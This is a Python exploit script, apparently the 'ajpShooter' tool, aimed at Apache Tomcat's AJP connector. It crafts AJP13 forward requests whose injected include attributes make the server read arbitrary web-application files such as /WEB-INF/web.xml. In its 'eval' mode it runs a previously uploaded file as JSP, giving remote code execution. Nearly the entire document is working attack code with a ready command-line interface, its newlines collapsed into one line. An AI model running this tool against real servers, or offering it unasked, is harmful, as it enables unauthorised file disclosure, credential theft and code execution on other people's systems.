#!/usr/bin/python3 # Author: 00theway import socket import binascii import argparse import urllib.parse debug = False def log(type, *args, **kwargs): if type == 'debug' and debug == False: return elif type == 'append' and debug == True: return elif type == 'append': kwargs['end'] = '' print(*args, **kwargs) return print('[%s]' % type.upper(), *args, **kwargs) class ajpRequest(object): def __init__(self, request_url, method='GET', headers=[], attributes=[]): self.request_url = request_url self.method = method self.headers = headers self.attributes = attributes def method2code(self, method): methods = { 'OPTIONS': 1, 'GET': 2, 'HEAD': 3, 'POST': 4, 'PUT': 5, 'DELETE': 6, 'TRACE': 7, 'PROPFIND': 8 } code = methods.get(method, 2) return code def make_headers(self): header2code = { b'accept': b'\xA0\x01', # SC_REQ_ACCEPT b'accept-charset': b'\xA0\x02', # SC_REQ_ACCEPT_CHARSET b'accept-encoding': b'\xA0\x03', # SC_REQ_ACCEPT_ENCODING b'accept-language': b'\xA0\x04', # SC_REQ_ACCEPT_LANGUAGE b'authorization': b'\xA0\x05', # SC_REQ_AUTHORIZATION b'connection': b'\xA0\x06', # SC_REQ_CONNECTION b'content-type': b'\xA0\x07', # SC_REQ_CONTENT_TYPE b'content-length': b'\xA0\x08', # SC_REQ_CONTENT_LENGTH b'cookie': b'\xA0\x09', # SC_REQ_COOKIE b'cookie2': b'\xA0\x0A', # SC_REQ_COOKIE2 b'host': b'\xA0\x0B', # SC_REQ_HOST b'pragma': b'\xA0\x0C', # SC_REQ_PRAGMA b'referer': b'\xA0\x0D', # SC_REQ_REFERER b'user-agent': b'\xA0\x0E' # SC_REQ_USER_AGENT } headers_ajp = [] for (header_name, header_value) in self.headers: code = header2code.get(header_name, b'') if code != b'': headers_ajp.append(code) headers_ajp.append(self.ajp_string(header_value)) else: headers_ajp.append(self.ajp_string(header_name)) headers_ajp.append(self.ajp_string(header_value)) return self.int2byte(len(self.headers), 2), b''.join(headers_ajp) def make_attributes(self): ''' org.apache.catalina.jsp_file javax.servlet.include.servlet_path + javax.servlet.include.path_info ''' attribute2code = { b'remote_user': b'\x03', b'auth_type': b'\x04', b'query_string': b'\x05', b'jvm_route': b'\x06', b'ssl_cert': b'\x07', b'ssl_cipher': b'\x08', b'ssl_session': b'\x09', b'req_attribute': b'\x0A', # Name (the name of the attribut follows) b'ssl_key_size': b'\x0B' } attributes_ajp = [] for (name, value) in self.attributes: code = attribute2code.get(name, b'') if code != b'': attributes_ajp.append(code) if code == b'\x0A': for v in value: attributes_ajp.append(self.ajp_string(v)) else: attributes_ajp.append(self.ajp_string(value)) return b''.join(attributes_ajp) def ajp_string(self, message_bytes): # an AJP string # the length of the string on two bytes + string + plus two null bytes message_len_int = len(message_bytes) return self.int2byte(message_len_int, 2) + message_bytes + b'\x00' def int2byte(self, data, byte_len=1): return data.to_bytes(byte_len, 'big') def make_forward_request_package(self): ''' AJP13_FORWARD_REQUEST := prefix_code (byte) 0x02 = JK_AJP13_FORWARD_REQUEST method (byte) protocol (string) req_uri (string) remote_addr (string) remote_host (string) server_name (string) server_port (integer) is_ssl (boolean) num_headers (integer) request_headers *(req_header_name req_header_value) attributes *(attribut_name attribute_value) request_terminator (byte) OxFF ''' req_ob = urllib.parse.urlparse(self.request_url) # JK_AJP13_FORWARD_REQUEST prefix_code_int = 2 prefix_code_bytes = self.int2byte(prefix_code_int) method_bytes = self.int2byte(self.method2code(self.method)) protocol_bytes = b'HTTP/1.1' req_uri_bytes = req_ob.path.encode('utf8') remote_addr_bytes = b'127.0.0.1' remote_host_bytes = b'localhost' server_name_bytes = req_ob.hostname.encode('utf8') # SSL flag if req_ob.scheme == 'https': is_ssl_boolean = 1 else: is_ssl_boolean = 0 # port server_port_int = req_ob.port if not server_port_int: server_port_int = (is_ssl_boolean ^ 1) * 80 + (is_ssl_boolean ^ 0) * 443 server_port_bytes = self.int2byte(server_port_int, 2) # convert to a two bytes is_ssl_bytes = self.int2byte(is_ssl_boolean) # convert to a one byte self.headers.append((b'host', b'%s:%d' % (server_name_bytes, server_port_int))) num_headers_bytes, headers_ajp_bytes = self.make_headers() attributes_ajp_bytes = self.make_attributes() message = [] message.append(prefix_code_bytes) message.append(method_bytes) message.append(self.ajp_string(protocol_bytes)) message.append(self.ajp_string(req_uri_bytes)) message.append(self.ajp_string(remote_addr_bytes)) message.append(self.ajp_string(remote_host_bytes)) message.append(self.ajp_string(server_name_bytes)) message.append(server_port_bytes) message.append(is_ssl_bytes) message.append(num_headers_bytes) message.append(headers_ajp_bytes) message.append(attributes_ajp_bytes) message.append(b'\xff') message_bytes = b''.join(message) send_bytes = b'\x12\x34' + self.ajp_string(message_bytes) return send_bytes class ajpResponse(object): def __init__(self, s, out_file): self.sock = s self.out_file = out_file self.body_start = False self.common_response_headers = { b'\x01': b'Content-Type', b'\x02': b'Content-Language', b'\x03': b'Content-Length', b'\x04': b'Date', b'\x05': b'Last-Modified', b'\x06': b'Location', b'\x07': b'Set-Cookie', b'\x08': b'Set-Cookie2', b'\x09': b'Servlet-Engine', b'\x0a': b'Status', b'\x0b': b'WWW-Authenticate', } if not self.out_file: self.out_file = False else: log('*', 'store response in %s' % self.out_file) self.out = open(self.out_file, 'wb') def parse_response(self): log('debug', 'start') magic = self.recv(2) # first two bytes are the 'magic' log('debug', 'magic', magic, binascii.b2a_hex(magic)) # next two bytes are the length data_len_int = self.read_int(2) code_int = self.read_int(1) log('debug', 'code', code_int) if code_int == 3: self.parse_send_body_chunk() elif code_int == 4: self.parse_headers() elif code_int == 5: self.parse_response_end() quit() self.parse_response() def parse_headers(self): log("append", '\n') log('debug', 'parsing RESPONSE HEADERS') status_int = self.read_int(2) msg_bytes = self.read_string() log('<', status_int, msg_bytes.decode('utf8')) headers_number_int = self.read_int(2) log('debug', 'headers_nb', headers_number_int) for i in range(headers_number_int): # header name: two cases first_byte = self.recv(1) second_byte = self.recv(1) if first_byte == b'\xa0': header_key_bytes = self.common_response_headers[second_byte] else: header_len_bytes = first_byte + second_byte header_len_int = int.from_bytes(header_len_bytes, byteorder='big') header_key_bytes = self.read_bytes(header_len_int) # consume the 0x00 terminator self.recv(1) header_value_bytes = self.read_string() try: header_key_bytes = header_key_bytes.decode('utf8') header_value_bytes = header_value_bytes.decode('utf8') except: pass log('<', '%s: %s' % (header_key_bytes, header_value_bytes)) def parse_send_body_chunk(self): if not self.body_start: log('append', '\n') log('debug', 'start parsing body chunk') self.body_start = True chunk = self.read_string() if self.out_file: self.out.write(chunk) else: try: chunk = chunk.decode('utf8') except: pass log('append', chunk) def parse_response_end(self): log('debug', 'start parsing end') code_reuse_int = self.read_int(1) log('debug', "finish parsing end", code_reuse_int) self.sock.close() def read_int(self, int_len): return int.from_bytes(self.recv(int_len), byteorder='big') def read_bytes(self, bytes_len): return self.recv(bytes_len) def read_string(self, int_len=2): data_len = self.read_int(int_len) data = self.recv(data_len) # consume the 0x00 terminator end = self.recv(1) log('debug', 'read_string read data_len:%d\ndata_len:%d\nend:%s' % (data_len, len(data), end)) return data def recv(self, data_len): data = self.sock.recv(data_len) while len(data) < data_len: log('debug', 'recv not end,wait for %d bytes' % (data_len - len(data))) data += self.sock.recv(data_len - len(data)) return data class ajpShooter(object): def __init__(self, args): self.args = args self.headers = args.header self.ajp_port = args.ajp_port self.requesturl = args.url self.target_file = args.target_file self.shooter = args.shooter self.method = args.X self.out_file = args.out_file def shoot(self): headers = self.transform_headers() target_file = self.target_file.encode('utf8') attributes = [] evil_req_attributes = [ (b'javax.servlet.include.request_uri', b'index'), (b'javax.servlet.include.servlet_path', target_file) ] for req_attr in evil_req_attributes: attributes.append((b"req_attribute", req_attr)) if self.shooter == 'read': self.requesturl += '/index.txt' else: self.requesturl += '/index.jsp' ajp_ip = urllib.parse.urlparse(self.requesturl).hostname s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ajp_ip, self.ajp_port)) message = ajpRequest(self.requesturl, self.method, headers, attributes).make_forward_request_package() s.send(message) ajpResponse(s, self.out_file).parse_response() def transform_headers(self): self.headers = [] if not self.headers else self.headers newheaders = [] for header in self.headers: hsplit = header.split(':') hname = hsplit[0] hvalue = ':'.join(hsplit[1:]) newheaders.append((hname.lower().encode('utf8'), hvalue.encode('utf8'))) return newheaders if __name__ == "__main__": # parse command line arguments print(''' _ _ __ _ _ /_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __ //_\\\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__| / _ \| | |_) | _\ \ | | | (_) | (_) | || __/ | \_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_| |__/|_| 00theway,just for test ''') parser = argparse.ArgumentParser() parser.add_argument('url', help='target site\'s context root url like http://www.example.com/demo/') parser.add_argument('ajp_port', default=8009, type=int, help='ajp port') parser.add_argument('target_file', help='target file to read or eval like /WEB-INF/web.xml,/image/evil.jpg') parser.add_argument('shooter', choices=['read', 'eval'], help='read or eval file') parser.add_argument('--ajp-ip', help='ajp server ip,default value will parse from from url') parser.add_argument('-H', '--header', help='add a header', action='append') parser.add_argument('-X', help='Sets the method (default: %(default)s).', default='GET', choices=['GET', 'POST', 'HEAD', 'OPTIONS', 'PROPFIND']) parser.add_argument('-d', '--data', nargs=1, help='The data to POST') parser.add_argument('-o', '--out-file', help='write response to file') parser.add_argument('--debug', action='store_true', default=False) args = parser.parse_args() debug = args.debug ajpShooter(args).shoot()